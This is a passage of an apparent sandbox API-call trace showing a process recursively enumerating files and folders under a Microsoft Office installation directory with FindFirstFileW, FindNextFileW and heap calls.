ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1 [0234.676] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0 [0234.676] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0234.678] GetProcessHeap () returned 0xc10000 [0234.678] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0234.678] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0234.678] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2adffa3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x395ec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0234.678] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf630892f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf630892f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x785a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0234.678] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b0a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap110.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0234.678] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc692f34, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc692f34, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc692f34, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x484b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0234.679] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0234.679] GetProcessHeap () returned 0xc10000 [0234.679] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0234.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0234.679] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.679] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0234.680] GetProcessHeap () returned 0xc10000 [0234.680] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0234.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.680] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.680] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1132d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0234.680] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi.rll", cAlternateFileName="")) returned 1 [0234.681] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb59528e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0234.681] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb59528e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0234.681] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0234.681] GetProcessHeap () returned 0xc10000 [0234.681] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0234.681] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0234.681] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0234.682] GetProcessHeap () returned 0xc10000 [0234.682] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0234.682] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0234.682] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18016f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 1 [0234.682] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18016f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 0 [0234.682] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0234.682] GetProcessHeap () returned 0xc10000 [0234.682] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.684] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0234.684] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0234.684] GetProcessHeap () returned 0xc10000 [0234.684] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.685] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0234.685] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0234.685] GetProcessHeap () returned 0xc10000 [0234.685] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0234.686] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1 [0234.686] GetProcessHeap () returned 0xc10000 [0234.686] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0234.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.693] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.693] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0234.693] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0234.694] GetProcessHeap () returned 0xc10000 [0234.694] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0234.694] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1 [0234.694] GetProcessHeap () returned 0xc10000 [0234.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0234.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0234.700] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.700] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0234.700] GetProcessHeap () returned 0xc10000 [0234.700] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0234.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0234.700] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.701] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0234.701] GetProcessHeap () returned 0xc10000 [0234.701] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\Shared\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.701] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.701] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0234.701] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0 [0234.702] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0234.702] GetProcessHeap () returned 0xc10000 [0234.702] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.702] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 0 [0234.702] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0234.706] GetProcessHeap () returned 0xc10000 [0234.706] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.706] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0234.706] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0234.706] GetProcessHeap () returned 0xc10000 [0234.706] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0234.708] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, 